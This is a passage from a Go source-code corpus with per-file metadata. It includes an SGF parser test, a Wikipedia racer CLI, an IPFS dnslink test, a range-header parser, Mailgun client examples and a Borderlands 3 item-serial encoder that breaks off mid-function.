}, // should be same, since treepath terminates "0-0-0": func(n *movetree.Node) error { expMove := move.New(color.White, point.New(13, 2)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, "1-1-0": func(n *movetree.Node) error { expMove := move.New(color.Black, point.New(14, 0)) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, "3": func(n *movetree.Node) error { expMove := move.NewPass(color.Black) if !reflect.DeepEqual(n.Move, expMove) { return fmt.Errorf("incorrect move; got %v, but wanted %v", n.Move, expMove) } return nil }, }, }, // error cases { desc: "basic variation error: two moves on one node", sgf: `(;GM[1](;B[aa]W[ab])(;B[ab];W[ac]))`, expErrSubstr: "found two moves", }, { desc: "error parsing: nonsense", sgf: "I am a banana", expErrSubstr: "unexpected char", }, { desc: "error parsing: unclosed", sgf: "(;C", expErrSubstr: "expected to end on root branch", }, { desc: "error parsing: bad property", sgf: "(;C)", expErrSubstr: "during property parsing", }, { desc: "error parsing: empty variation", sgf: "(;C[])())", expErrSubstr: "empty variation", }, { desc: "error parsing: unclosed property data", sgf: "(;C[)())", expErrSubstr: "ended in nested condition", }, { desc: "error parsing: bad property", sgf: "(;weird[])", expErrSubstr: "unexpected character between", }, } for _, tc := range testCases { t.Run(tc.desc, func(t *testing.T) { g, err := sgf.FromString(tc.sgf).Parse() cerr := errcheck.CheckCases(err, tc.expErrSubstr) if cerr != nil { t.Fatal(cerr) } if err != nil { return } if g == nil { t.Fatal("unexpectedly nil movetree") } for path, pmap := range tc.pathToProps { tp, err := movetree.ParsePath(path) if err != nil { t.Error(err) continue } n := tp.Apply(g.Root) for prop, expData := range pmap { foundData, ok := n.SGFProperties[prop] if !ok { t.Errorf("At path %q, properties did not contain expected property key %q. Properties were %v", path, prop, n.SGFProperties) } if !cmp.Equal(foundData, expData) { t.Errorf("At path %q, property %q was %v, but expected %v", path, prop, foundData, expData) } } } for path, check := range tc.pathToNodeCheck { tp, err := movetree.ParsePath(path) if err != nil { t.Error(err) continue } n := tp.Apply(g.Root) if err := check(n); err != nil { t.Errorf("At path %q, found incorrect contents %v", path, err) } } }) } } type propGetter func(*movetree.Node) interface{} func TestPropertyPostProcessing(t *testing.T) { testCases := []struct { desc string sgf string path string getter propGetter want interface{} }{ { desc: "black move", sgf: "(;GM[1];B[ab])", path: "0", getter: func(n *movetree.Node) interface{} { return n.Move }, want: move.New(color.Black, point.New(0, 1)), }, { desc: "white move", sgf: "(;GM[1];W[ab])", path: "0", getter: func(n *movetree.Node) interface{} { return n.Move }, want: move.New(color.White, point.New(0, 1)), }, { desc: "black & white placements", sgf: "(;GM[1];AB[ab][ac]AW[bb][bc])", path: "0", getter: func(n *movetree.Node) interface{} { return n.Placements }, want: move.List{ move.New(color.Black, point.New(0, 1)), move.New(color.Black, point.New(0, 2)), move.New(color.White, point.New(1, 1)), move.New(color.White, point.New(1, 2)), }, }, } for _, tc := range testCases { t.Run(tc.desc, func(t *testing.T) { g, err := sgf.Parse(tc.sgf) if err != nil { t.Error(err) return } tp, err := movetree.ParsePath(tc.path) if err != nil { t.Error(err) return } got := tc.getter(tp.Apply(g.Root)) if !reflect.DeepEqual(got, tc.want) { t.Errorf("from node-getter and path %q, got %v, but wanted %v", tc.path, got, tc.want) } }) } }
true
9e008e41376acb1b76f7c9471175f5d14c2b44bb
Go
xiaoina/fastestroute
/src/fastestroute/utilities.go
UTF-8
268
2.796875
3
[]
no_license
[]
no_license
package main import ( "strings" ) var ( replacer = strings.NewReplacer( " ", "", ",", "", "-", "", ".", "", "\n", "") ) //TrimString removes unnessary data for searching with google's API func TrimString(s string) string { return replacer.Replace(s) }
true
72487d90542fbea2b254c5b2ec633451d910cf67
Go
LucasDachman/wiki-racer
/main.go
UTF-8
1,887
3.03125
3
[]
no_license
[]
no_license
package main import ( "fmt" "log" "os" "strconv" "time" ) var Num_Workers = 8 var wiki *WikiService func init() { if val, ok := os.LookupEnv("wiki_race_workers"); ok { num, err := strconv.Atoi(val) if err == nil { Num_Workers = num } else { panic("Cannot convert wiki_race_workers to int: " + err.Error()) } } } func main() { closeLogger := setupLogger() defer closeLogger() wiki = NewWikiService() var title1, title2 string if len(os.Args) == 1 { title1 = wiki.RandomPageTitle() title2 = wiki.RandomPageTitle() } if len(os.Args) == 2 { title1 = wiki.RandomPageTitle() title2 = os.Args[1] } if len(os.Args) == 3 { title1, title2 = os.Args[1], os.Args[2] } fmt.Printf("Starting on: %v, looking for: %v\n", title1, title2) log.Printf("Starting on: %v, looking for: %v\n", title1, title2) log.Println("Workers", Num_Workers) start := time.Now() race(title1, title2) duration := time.Since(start) fmt.Println("Time: ", duration) log.Println("Time: ", duration) } func setupLogger() func() error { // Open log file f, err := os.OpenFile("log", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { log.Fatalf("Error opening log file: %v", err) } log.SetOutput(f) // log.SetOutput(os.Stdout) return f.Close } func race(title1, title2 string) { pool := NewWorkPool(Num_Workers) crawler := NewCrawler(title2, &pool).Start(title1) results := crawler.WaitForResult() fmt.Println() for _, r := range results { printPath(r) } fmt.Println("Jobs completed: ", pool.jobCounter.num) } func printPath(node *PathNode) { ptr := node var str string for ptr != nil { if ptr.name != "" { if ptr != node { str = " -> " + str } str = ptr.name + str } ptr = ptr.parent } fmt.Println(str) fmt.Printf("Found in %v visits\n", node.len) log.Println(str) log.Printf("Found in %v visits\n", node.len) }
true
433d7399e762958da111fbe44c9203d95afc45cc
Go
douglasroeder/gowork
/models/result_test.go
UTF-8
459
2.828125
3
[]
no_license
[]
no_license
package models import ( "encoding/json" "testing" "github.com/stretchr/testify/assert" ) func TestResult_GenericResponse(t *testing.T) { anyModel := struct { ID int `json:"id"` Name string `json:"name"` }{ ID: 123, Name: "test", } error := "" result := NewResult(200, anyModel, error) outputJSON, _ := json.Marshal(result) assert.Equal(t, `{"status_code":200,"error":"","payload":{"id":123,"name":"test"}}`, string(outputJSON)) }
true
25883d4b4dd40580ee61ffb4d87a0b2e268fe78b
Go
Jamesits/monument
/src/exception.go
UTF-8
254
2.703125
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package main import ( "log" ) // if QuitOnError is true, then panic; // else go on func softFailIf(e error) { if e != nil { log.Printf("[WARNING] %s", e) } } func hardFailIf(e error) { if e != nil { log.Printf("[ERROR] %s", e) panic(e) } }
true
889747c82e6ebad09ff1055a2f3228da8af3b704
Go
reit-c/go-ipfs
/namesys/dns_test.go
UTF-8
703
2.75
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package namesys import ( "testing" ) func TestDnsEntryParsing(t *testing.T) { goodEntries := []string{ "QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD", "dnslink=/ipfs/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD", "dnslink=/ipns/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD", "dnslink=/ipfs/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD/foo", "dnslink=/ipns/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD/bar", "dnslink=/ipfs/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD/foo/bar/baz", "dnslink=/ipfs/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD", } badEntries := []string{ "QmYhE8xgFCjGcz6PHgnvJz5NOTCORRECT", "quux=/ipfs/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD", "dnslink=", "dnslink=/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD/foo", "dnslink=ipns/QmY3hE8xgFCjGcz6PHgnvJz5HZi1BaKRfPkn1ghZUcYMjD/bar", } for _, e := range goodEntries { _, err := parseEntry(e) if err != nil { t.Log("expected entry to parse correctly!") t.Log(e) t.Fatal(err) } } for _, e := range badEntries { _, err := parseEntry(e) if err == nil { t.Log("expected entry parse to fail!") t.Fatal(err) } } }
true
c84dca6d6a58c5359c06a377fcdebe3ec8242526
Go
takuoki/testmtx
/fmt.go
UTF-8
1,815
2.984375
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package testmtx import ( "errors" "fmt" "io" "os" "strings" "golang.org/x/sync/errgroup" ) var createFile func(name string) (io.WriteCloser, error) func init() { createFile = func(name string) (io.WriteCloser, error) { return os.Create(name) } } // Formatter is an interface for formatting. // This interface has private methods, so cannot create an original formatter outside of this package. type Formatter interface { fprint(w io.Writer, v value, cn casename, indent int) extension() string } type formatter struct { indentStr string } const defaultIndentStr = " " func (f *formatter) setIndentStr(s string) { if f == nil { return } f.indentStr = s } func (f *formatter) indents(i int) string { if f == nil { return defaultIndentStr } return strings.Repeat(f.indentStr, i) } // Output outputs files using Formatter. func Output(f Formatter, s *Sheet, outdir string) error { if s == nil { return errors.New("Sheet is nil") } for k, v := range s.valueMap { dir := fmt.Sprintf("%s/%s", outdir, k) if err := os.MkdirAll(dir, 0777); err != nil { return fmt.Errorf("unable to make directory: %w", err) } eg := &errgroup.Group{} for _, cn := range s.cases { cn := cn eg.Go(func() (er error) { defer func() { if e := recover(); e != nil { er = fmt.Errorf("panic recovered in goroutine: %v", e) } }() filepath := fmt.Sprintf("%s/%s_%s.%s", dir, s.name, cn, f.extension()) file, err := createFile(filepath) if err != nil { return fmt.Errorf("unable to create file: %w", err) } defer file.Close() f.fprint(file, v, cn, 0) return nil }) } if err := eg.Wait(); err != nil { return err } } return nil }
true
6e9859cf70f3f149b5be43a3fd7206fdd9770fbc
Go
alonp99/go-spacemesh
/p2p/node/node.go
UTF-8
2,544
3.21875
3
[ "MIT", "LicenseRef-scancode-free-unknown" ]
permissive
[ "MIT", "LicenseRef-scancode-free-unknown" ]
permissive
package node import ( "fmt" "github.com/spacemeshos/go-spacemesh/p2p/p2pcrypto" "strings" ) // Node is the basic node identity struct type Node struct { pubKey p2pcrypto.PublicKey address string } // EmptyNode represents an uninitialized node var EmptyNode Node // PublicKey returns the public key of the node func (n Node) PublicKey() p2pcrypto.PublicKey { return n.pubKey } // String returns a string representation of the node's public key func (n Node) String() string { return n.pubKey.String() } // Address returns the ip address of the node func (n Node) Address() string { return n.address } // DhtID creates a dhtid from the public key func (n Node) DhtID() DhtID { return NewDhtID(n.pubKey.Bytes()) } // Pretty returns a pretty string from the node's info func (n Node) Pretty() string { return fmt.Sprintf("Node : %v , Address: %v, DhtID: %v", n.pubKey.String(), n.address, n.DhtID().Pretty()) } // Union returns a union of 2 lists of nodes. func Union(list1 []Node, list2 []Node) []Node { idSet := map[string]Node{} for _, n := range list1 { idSet[n.String()] = n } for _, n := range list2 { if _, ok := idSet[n.String()]; !ok { idSet[n.String()] = n } } res := make([]Node, len(idSet)) i := 0 for _, n := range idSet { res[i] = n i++ } return res } // SortByDhtID Sorts a Node array by DhtID id, returns a sorted array func SortByDhtID(nodes []Node, id DhtID) []Node { for i := 1; i < len(nodes); i++ { v := nodes[i] j := i - 1 for j >= 0 && id.Closer(v.DhtID(), nodes[j].DhtID()) { nodes[j+1] = nodes[j] j = j - 1 } nodes[j+1] = v } return nodes } // New creates a new remotenode identity from a public key and an address func New(key p2pcrypto.PublicKey, address string) Node { return Node{key, address} } // NewNodeFromString creates a remote identity from a string in the following format: 126.0.0.1:3572/r9gJRWVB9JVPap2HKnduoFySvHtVTfJdQ4WG8DriUD82 . func NewNodeFromString(data string) (Node, error) { items := strings.Split(data, "/") if len(items) != 2 { return EmptyNode, fmt.Errorf("could'nt create node from string, wrong format") } pubk, err := p2pcrypto.NewPublicKeyFromBase58(items[1]) if err != nil { return EmptyNode, err } return Node{pubk, items[0]}, nil } // StringFromNode generates a string that represent a node in the network in following format: 126.0.0.1:3572/r9gJRWVB9JVPap2HKnduoFySvHtVTfJdQ4WG8DriUD82. func StringFromNode(n Node) string { return strings.Join([]string{n.Address(), n.PublicKey().String()}, "/") }
true
e0f55a603e904e2df94c80bc38e03f1325c6894b
Go
keltia/ripe-atlas
/cmd/atlas/config.go
UTF-8
1,142
2.78125
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
// config.go // // This file implements the configuration part for when you need the API // key to modify things in the Atlas configuration and manage measurements. package main import ( "fmt" "github.com/naoina/toml" "io/ioutil" "os" ) // Config holds our parameters type Config struct { APIKey string DefaultProbe int ProxyAuth string ProbeSet struct { PoolSize int Type string Value string Tags string } Measurements struct { BillTo string } } // LoadConfig reads a file as a TOML document and return the structure func LoadConfig(file string) (c *Config, err error) { c = new(Config) // Check for tag sFile := checkName(file) if sFile == "" { return c, fmt.Errorf("Wrong format for %s", file) } // Check if there is any config file if _, err := os.Stat(sFile); err != nil { // No config file is no error return c, nil } // Read it buf, err := ioutil.ReadFile(sFile) if err != nil { return c, fmt.Errorf("Can not read %s", sFile) } err = toml.Unmarshal(buf, &c) if err != nil { return c, fmt.Errorf("Error parsing toml %s: %v", sFile, err) } return c, nil }
true
58b422d63847f92dfb248ca97f5e1cc95940e756
Go
soongo/soon
/util/range_parser_test.go
UTF-8
4,673
3.0625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
// Copyright 2020 Guoyao Wu. All rights reserved. // Use of this source code is governed by a MIT style // license that can be found in the LICENSE file. package util import ( "errors" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func TestRangeParser(t *testing.T) { tests := []struct { desc string size int64 str string combine bool expectedRanges Ranges err error }{ { desc: "should return error for invalid str", size: 200, str: "malformed", err: errors.New("malformed header string"), }, { desc: "should return error if all specified ranges are invalid", size: 200, str: "bytes=500-20", err: errors.New("unsatisifiable range"), }, { desc: "should return error if all specified ranges are invalid", size: 200, str: "bytes=500-999", err: errors.New("unsatisifiable range"), }, { desc: "should return error if all specified ranges are invalid", size: 200, str: "bytes=500-999,1000-1499", err: errors.New("unsatisifiable range"), }, { desc: "should parse str", size: 1000, str: "bytes=0-499", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 0, End: 499}}, }, }, { desc: "should parse str", size: 1000, str: "bytes=40-80", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 40, End: 80}}, }, }, { desc: "should cap end at size", size: 200, str: "bytes=0-499", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 0, End: 199}}, }, }, { desc: "should parse str asking for last n bytes", size: 1000, str: "bytes=-400", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 600, End: 999}}, }, }, { desc: "should parse str with only start", size: 1000, str: "bytes=400-", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 400, End: 999}}, }, }, { desc: `should parse "bytes=0-"`, size: 1000, str: "bytes=0-", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 0, End: 999}}, }, }, { desc: "should parse str with no bytes", size: 1000, str: "bytes=0-0", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 0, End: 0}}, }, }, { desc: "should parse str asking for last byte", size: 1000, str: "bytes=-1", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 999, End: 999}}, }, }, { desc: "should parse str with multiple ranges", size: 1000, str: "bytes=40-80,81-90,-1", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{ {Start: 40, End: 80, index: 0}, {Start: 81, End: 90, index: 1}, {Start: 999, End: 999, index: 2}, }, }, }, { desc: "should parse str with some invalid ranges", size: 200, str: "bytes=0-499,1000-,500-999", expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{{Start: 0, End: 199}}, }, }, { desc: "should parse non-byte range", size: 1000, str: "items=0-5", expectedRanges: Ranges{ Type: "items", Ranges: []*Range{{Start: 0, End: 5}}, }, }, { desc: "should combine overlapping ranges when combine is true", size: 150, str: "bytes=0-4,90-99,5-75,100-199,101-102", combine: true, expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{ {Start: 0, End: 75, index: 0}, {Start: 90, End: 149, index: 1}, }, }, }, { desc: "should retain original order when combine is true", size: 150, str: "bytes=-1,20-100,0-1,101-120", combine: true, expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{ {Start: 149, End: 149, index: 0}, {Start: 20, End: 120, index: 1}, {Start: 0, End: 1, index: 2}, }, }, }, { desc: "should ignore space", size: 150, str: " bytes= 0-4, 90-99, 5-75, 100-199, 101-102 ", combine: true, expectedRanges: Ranges{ Type: "bytes", Ranges: []*Range{ {Start: 0, End: 75, index: 0}, {Start: 90, End: 149, index: 1}, }, }, }, } for _, tt := range tests { t.Run(tt.desc, func(t *testing.T) { ranges, err := RangeParser(tt.size, tt.str, tt.combine) if tt.err != nil { require.Error(t, err) assert.Equal(t, tt.err, err) } else { require.NoError(t, err) } assert.Equal(t, tt.expectedRanges.Type, ranges.Type) for i, r := range tt.expectedRanges.Ranges { assert.Equal(t, *r, *ranges.Ranges[i]) } }) } }
true
72f22434509f3829ab686876932470cea4d9ed99
Go
mailgun/mailgun-go
/examples_test.go
UTF-8
4,916
2.796875
3
[ "BSD-3-Clause" ]
permissive
[ "BSD-3-Clause" ]
permissive
package mailgun_test import ( "context" "encoding/json" "fmt" "io/ioutil" "log" "net/http" "os" "strings" "time" "github.com/mailgun/mailgun-go/v4" "github.com/mailgun/mailgun-go/v4/events" ) func ExampleMailgunImpl_ValidateEmail() { v := mailgun.NewEmailValidator("my_public_validation_api_key") ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() ev, err := v.ValidateEmail(ctx, "[email protected]", false) if err != nil { log.Fatal(err) } if !ev.IsValid { log.Fatal("Expected valid e-mail address") } log.Printf("Parts local_part=%s domain=%s display_name=%s", ev.Parts.LocalPart, ev.Parts.Domain, ev.Parts.DisplayName) if ev.DidYouMean != "" { log.Printf("The address is syntactically valid, but perhaps has a typo.") log.Printf("Did you mean %s instead?", ev.DidYouMean) } } func ExampleMailgunImpl_ParseAddresses() { v := mailgun.NewEmailValidator("my_public_validation_api_key") ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() addressesThatParsed, unparsableAddresses, err := v.ParseAddresses(ctx, "Alice <[email protected]>", "[email protected]", "example.com") if err != nil { log.Fatal(err) } hittest := map[string]bool{ "Alice <[email protected]>": true, "[email protected]": true, } for _, a := range addressesThatParsed { if !hittest[a] { log.Fatalf("Expected %s to be parsable", a) } } if len(unparsableAddresses) != 1 { log.Fatalf("Expected 1 address to be unparsable; got %d", len(unparsableAddresses)) } } func ExampleMailgunImpl_UpdateList() { mg := mailgun.NewMailgun("example.com", "my_api_key") ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() _, err := mg.UpdateMailingList(ctx, "[email protected]", mailgun.MailingList{ Name: "Joe Stat", Description: "Joe's status report list", }) if err != nil { log.Fatal(err) } } func ExampleMailgunImpl_Send_constructed() { mg := mailgun.NewMailgun("example.com", "my_api_key") ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() m := mg.NewMessage( "Excited User <[email protected]>", "Hello World", "Testing some Mailgun Awesomeness!", "[email protected]", "[email protected]", ) m.SetTracking(true) m.SetDeliveryTime(time.Now().Add(24 * time.Hour)) m.SetHtml("<html><body><h1>Testing some Mailgun Awesomeness!!</h1></body></html>") _, id, err := mg.Send(ctx, m) if err != nil { log.Fatal(err) } log.Printf("Message id=%s", id) } func ExampleMailgunImpl_Send_mime() { exampleMime := `Content-Type: text/plain; charset="ascii" Subject: Joe's Example Subject From: Joe Example <[email protected]> To: BARGLEGARF <[email protected]> Content-Transfer-Encoding: 7bit Date: Thu, 6 Mar 2014 00:37:52 +0000 Testing some Mailgun MIME awesomeness! ` ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() mg := mailgun.NewMailgun("example.com", "my_api_key") m := mg.NewMIMEMessage(ioutil.NopCloser(strings.NewReader(exampleMime)), "[email protected]") _, id, err := mg.Send(ctx, m) if err != nil { log.Fatal(err) } log.Printf("Message id=%s", id) } func ExampleMailgunImpl_GetRoutes() { mg := mailgun.NewMailgun("example.com", "my_api_key") ctx, cancel := context.WithTimeout(context.Background(), time.Second*10) defer cancel() it := mg.ListRoutes(nil) var page []mailgun.Route for it.Next(ctx, &page) { for _, r := range page { log.Printf("Route pri=%d expr=%s desc=%s", r.Priority, r.Expression, r.Description) } } if it.Err() != nil { log.Fatal(it.Err()) } } func ExampleMailgunImpl_VerifyWebhookSignature() { // Create an instance of the Mailgun Client mg, err := mailgun.NewMailgunFromEnv() if err != nil { fmt.Printf("mailgun error: %s\n", err) os.Exit(1) } http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { var payload mailgun.WebhookPayload if err := json.NewDecoder(r.Body).Decode(&payload); err != nil { fmt.Printf("decode JSON error: %s", err) w.WriteHeader(http.StatusNotAcceptable) return } verified, err := mg.VerifyWebhookSignature(payload.Signature) if err != nil { fmt.Printf("verify error: %s\n", err) w.WriteHeader(http.StatusNotAcceptable) return } if !verified { w.WriteHeader(http.StatusNotAcceptable) fmt.Printf("failed verification %+v\n", payload.Signature) return } fmt.Printf("Verified Signature\n") // Parse the raw event to extract the e, err := mailgun.ParseEvent(payload.EventData) if err != nil { fmt.Printf("parse event error: %s\n", err) return } switch event := e.(type) { case *events.Accepted: fmt.Printf("Accepted: auth: %t\n", event.Flags.IsAuthenticated) case *events.Delivered: fmt.Printf("Delivered transport: %s\n", event.Envelope.Transport) } }) fmt.Println("Running...") if err := http.ListenAndServe(":9090", nil); err != nil { fmt.Printf("serve error: %s\n", err) os.Exit(1) } }
true
414b0d646df24dba3a184112930b4bea56f3f55a
Go
leonardonatali/file-metadata-api
/pkg/users/users_service.go
UTF-8
739
2.609375
3
[]
no_license
[]
no_license
package users import ( "github.com/leonardonatali/file-metadata-api/pkg/users/dto" "github.com/leonardonatali/file-metadata-api/pkg/users/entities" "github.com/leonardonatali/file-metadata-api/pkg/users/repository" ) type UsersService struct { usersRepository repository.UsersRepository } func NewUsersService(usersRepository repository.UsersRepository) *UsersService { return &UsersService{ usersRepository: usersRepository, } } func (s *UsersService) CreateUser(dto *dto.CreateUserDto) (*entities.User, error) { return s.usersRepository.CreateUser(&entities.User{ Token: dto.Token, }) } func (s *UsersService) GetUser(dto *dto.GetUserDto) (*entities.User, error) { return s.usersRepository.GetUser(dto.ID, dto.Token) }
true
a99ea0581a8e8dcecc37194dbf2773286dbf4577
Go
ksang/stress
/archer/http_archer_test.go
UTF-8
556
2.84375
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package archer import ( "fmt" "net/http" "net/http/httptest" "testing" ) func TestHTTPArcher(t *testing.T) { ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "Hello, client") })) defer ts.Close() cfg := Config{ Target: ts.URL, Interval: "1ms", ConnNum: 10, Data: []byte{1, 2, 3}, PrintLog: true, PrintError: true, Num: 10000, } t.Logf("Archer launching at: %s\n", ts.URL) if err := StartHTTPArcher(cfg); err != nil { t.Errorf("%s", err) } }
true
e48ccb1873f81cd1dfc362ecf1331b4bb01c721d
Go
aismirnov/bl3-save
/internal/item/item.go
UTF-8
8,389
2.515625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package item import ( "encoding/binary" "encoding/json" "errors" "fmt" "hash/crc32" "io/ioutil" "log" "strings" "sync" "github.com/cfi2017/bl3-save/pkg/pb" ) var ( db PartsDatabase btik map[string]string once = sync.Once{} debug bool ) type Item struct { Level int `json:"level"` Balance string `json:"balance"` Manufacturer string `json:"manufacturer"` InvData string `json:"inv_data"` Parts []string `json:"parts"` Generics []string `json:"generics"` Overflow string `json:"overflow"` Version uint64 `json:"version"` Wrapper *pb.OakInventoryItemSaveGameData `json:"wrapper"` } func GetDB() PartsDatabase { var err error once.Do(func() { btik, err = loadPartMap("balance_to_inv_key.json") if err != nil { return } db, err = loadPartsDatabase("inventory_raw.json") }) if err != nil { panic(err) } return db } func GetBtik() map[string]string { var err error once.Do(func() { btik, err = loadPartMap("balance_to_inv_key.json") if err != nil { return } db, err = loadPartsDatabase("inventory_raw.json") }) if err != nil { panic(err) } return btik } func DecryptSerial(data []byte) ([]byte, error) { if len(data) < 5 { return nil, errors.New("invalid serial length") } if data[0] != 0x03 { return nil, errors.New("invalid serial") } seed := int32(binary.BigEndian.Uint32(data[1:])) // next four bytes of serial are bogo seed decrypted := bogoDecrypt(seed, data[5:]) crc := binary.BigEndian.Uint16(decrypted) // first two bytes of decrypted data are crc checksum combined := append(append(data[:5], 0xFF, 0xFF), decrypted[2:]...) // combined data with checksum replaced with 0xFF to compute checksum computedChecksum := crc32.ChecksumIEEE(combined) check := uint16(((computedChecksum) >> 16) ^ ((computedChecksum & 0xFFFF) >> 0)) if crc != check { return nil, errors.New("checksum failure in packed data") } return decrypted[2:], nil } func EncryptSerial(data []byte, seed int32) ([]byte, error) { prefix := []byte{0x03} seedBytes := make([]byte, 4) binary.BigEndian.PutUint32(seedBytes, uint32(seed)) prefix = append(prefix, seedBytes...) prefix = append(prefix, 0xFF, 0xFF) data = append(prefix, data...) crc := crc32.ChecksumIEEE(data) checksum := ((crc >> 16) ^ crc) & 0xFFFF sumBytes := make([]byte, 2) binary.BigEndian.PutUint16(sumBytes, uint16(checksum)) data[5], data[6] = sumBytes[0], sumBytes[1] // set crc return append(append([]byte{0x03}, seedBytes...), bogoEncrypt(seed, data[5:])...), nil } func bogoEncrypt(seed int32, data []byte) []byte { if seed == 0 { return data } steps := int(seed&0x1F) % len(data) data = append(data[steps:], data[:steps]...) return xor(seed, data) } func GetSeedFromSerial(data []byte) (int32, error) { if len(data) < 5 { return 0, errors.New("invalid serial length") } return int32(binary.BigEndian.Uint32(data[1:])), nil } func bogoDecrypt(seed int32, data []byte) []byte { if seed == 0 { return data } data = xor(seed, data) steps := int(seed&0x1F) % len(data) return append(data[len(data)-steps:], data[:len(data)-steps]...) } func xor(seed int32, data []byte) []byte { x := uint64(seed>>5) & 0xFFFFFFFF // target 4248340707 for i := range data { x = (x * 0x10A860C1) % 0xFFFFFFFB data[i] = byte((uint64(data[i]) ^ x) & 0xFF) } return data } func Deserialize(data []byte) (item Item, err error) { data, err = DecryptSerial(data) if err != nil { return } r := NewReader(data) num := readNBits(r, 8) if num != 128 { err = errors.New("value should be 128") return } once.Do(func() { btik, err = loadPartMap("balance_to_inv_key.json") if err != nil { return } db, err = loadPartsDatabase("inventory_raw.json") }) if err != nil { return } item.Version = readNBits(r, 7) balanceBits := getBits("InventoryBalanceData", item.Version) invDataBits := getBits("InventoryData", item.Version) manBits := getBits("ManufacturerData", item.Version) if debug { log.Printf("Got version: %v - balance bits: %v, invdata bits: %v, man bits: %v\n", item.Version, balanceBits, invDataBits, manBits, ) } item.Balance = getPart("InventoryBalanceData", readNBits(r, balanceBits)-1) item.InvData = getPart("InventoryData", readNBits(r, invDataBits)-1) item.Manufacturer = getPart("ManufacturerData", readNBits(r, manBits)-1) item.Level = int(readNBits(r, 7)) if k, e := btik[strings.ToLower(item.Balance)]; e { bits := getBits(k, item.Version) partCount := int(readNBits(r, 6)) item.Parts = make([]string, partCount) for i := 0; i < partCount; i++ { item.Parts[i] = getPart(k, readNBits(r, bits)-1) } genericCount := readNBits(r, 4) item.Generics = make([]string, genericCount) bits = getBits("InventoryGenericPartData", item.Version) for i := 0; i < int(genericCount); i++ { // looks like the bits are the same // for all the parts and generics item.Generics[i] = getPart("InventoryGenericPartData", readNBits(r, bits)-1) } item.Overflow = r.Overflow() } else { err = errors.New(fmt.Sprintf("unknown category %s, skipping part introspection", item.Balance)) } return } func getBits(k string, v uint64) int { return db.GetData(k).GetBits(v) } func Serialize(item Item, seed int32) ([]byte, error) { w := NewWriter(item.Overflow) var err error once.Do(func() { btik, err = loadPartMap("balance_to_inv_key.json") if err != nil { return } db, err = loadPartsDatabase("inventory_raw.json") }) // how many bits for each generic part? bits := getBits("InventoryGenericPartData", item.Version) // write each generic, bottom to top for i := len(item.Generics) - 1; i >= 0; i-- { index := getIndexFor("InventoryGenericPartData", item.Generics[i]) + 1 err := w.WriteInt(uint64(index), bits) if err != nil { log.Printf("tried to fit index %v into %v bits for %s", index, bits, item.Generics[i]) return nil, err } } // write generic count err = w.WriteInt(uint64(len(item.Generics)), 4) if err != nil { return nil, err } if k, e := btik[strings.ToLower(item.Balance)]; e { // how many bits per part? bits = getBits(k, item.Version) // write each part, bottom to top for i := len(item.Parts) - 1; i >= 0; i-- { err := w.WriteInt(uint64(getIndexFor(k, item.Parts[i]))+1, bits) if err != nil { return nil, err } } // write part count err = w.WriteInt(uint64(len(item.Parts)), 6) if err != nil { return nil, err } } err = w.WriteInt(uint64(item.Level), 7) if err != nil { return nil, err } manIndex := getIndexFor("ManufacturerData", item.Manufacturer) + 1 manBits := getBits("ManufacturerData", item.Version) err = w.WriteInt(uint64(manIndex), manBits) if err != nil { return nil, err } invIndex := getIndexFor("InventoryData", item.InvData) + 1 invBits := getBits("InventoryData", item.Version) err = w.WriteInt(uint64(invIndex), invBits) if err != nil { return nil, err } balanceIndex := getIndexFor("InventoryBalanceData", item.Balance) + 1 balanceBits := getBits("InventoryBalanceData", item.Version) err = w.WriteInt(uint64(balanceIndex), balanceBits) if err != nil { return nil, err } err = w.WriteInt(item.Version, 7) if err != nil { return nil, err } err = w.WriteInt(128, 8) if err != nil { return nil, err } return EncryptSerial(w.GetBytes(), seed) } func getIndexFor(k string, v string) int { for i, asset := range db.GetData(k).Assets { if asset == v { return i } } panic("no asset found while serializing") } func getPart(key string, index 